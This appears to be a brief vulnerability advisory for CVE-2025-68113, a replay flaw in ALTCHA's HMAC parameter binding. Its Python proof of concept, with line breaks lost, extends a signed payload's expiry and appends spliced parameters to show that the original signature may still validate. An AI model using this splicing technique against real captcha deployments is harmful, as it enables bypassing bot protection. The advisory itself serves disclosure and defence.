CVE-2025-68113: ALTCHA加密语义绑定缺陷导致重放攻击

import hmac import hashlib import base64 import json # Original valid ALTCHA challenge response original_payload = { 'algorithm': 'sha256', 'salt': 'random_salt_value', 'signature': 'original_hmac_signature_base64', 'nonce': 'challenge_nonce_123', 'pow': 'work_proof_value', 'expires': 1000 # Original expiration timestamp } # Attack: Splice the payload by extending expiration # The vulnerability allows modifying expires value without invalidating signature modified_payload = original_payload.copy() modified_payload['expires'] = 9999999999 # Extended expiration time # Generate the string that would be signed (demonstrating the ambiguity) def generate_hmac_input(salt, expires): # Original format - vulnerable to parameter splicing return f"{salt}?expires={expires}" # Demonstrating the attack vector original_input = generate_hmac_input(original_payload['salt'], original_payload['expires']) modified_input = generate_hmac_input(original_payload['salt'], modified_payload['expires']) # The same base string can be reinterpreted with modified parameters # Attack: Append additional parameters to extend validity attack_input = f"{original_payload['salt']}?expires={original_payload['expires']}&extended=true" print(f"Original HMAC input: {original_input}") print(f"Modified expiration: {modified_input}") print(f"Attack payload: {attack_input}") print("\n[!] The HMAC signature from original_input may be valid for attack_input due to lack of semantic binding")